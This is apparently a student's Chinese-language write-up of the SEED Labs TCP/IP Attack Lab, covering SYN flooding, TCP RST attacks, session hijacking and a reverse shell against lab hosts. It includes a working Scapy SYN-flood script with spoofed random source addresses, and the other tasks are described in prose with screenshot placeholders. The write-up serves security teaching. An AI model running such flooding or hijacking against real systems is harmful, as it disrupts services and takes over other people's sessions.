SEED Labs 2.0: TCP/IP Attack Lab

TCP/IP Attack Lab

Task 1: SYN Flooding Attack

查看队列长度

sysctl net.ipv4.tcp_max_syn_backlog

image-20231127145112522

Task 1.1: Launching the Attack Using Python

编写攻击程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)

登录进入受害机,执行netstat -nat都为正常

image-20231127151035054

执行命令:

image-20231127151204094

再次查看10.9.0.5主机的TCP连接,发现大量的攻击源,而且IP地址随机:

image-20231127151253037

Task 1.2: Launch the Attack Using C

编译提供好的C程序,进行攻击。先查看受害机的TCP连接。

image-20231127151415515

image-20231127151456371

进行攻击:

image-20231127151518059

打开:

image-20231127151640438

进行攻击:

image-20231127151719327

还是有着大量的攻击

Task 2: TCP RST Attacks on telnet Connections

编写一个嗅探和RST攻击的程序

image-20231127154045190

使用10.9.0.7连接10.9.0.6,当10.9.0.7发送了一个包给.6时,就会收到一个RST的包,导致连接关闭

image-20231127154025934

Task 3: TCP Session Hijacking

编写攻击程序:

image-20231127154339887

telnet连接10.9.0.6的终端:

image-20231127154421786

运行程序:发现攻击成功!

image-20231127154504479

查看10.9.0.6 /home/seed/hijacking.out文件是否存在,以及内容

image-20231127154607301

Task 4: Creating Reverse Shell using TCP Session Hijacking

编写劫持程序:

image-20231127154737576

10.9.0.5 9090端口监听10.9.0.6上的连接

image-20231127154823012

使用10.9.0.7连接10.9.0.6

image-20231127154928972

运行劫持程序,发现已经getshell:

image-20231127155026999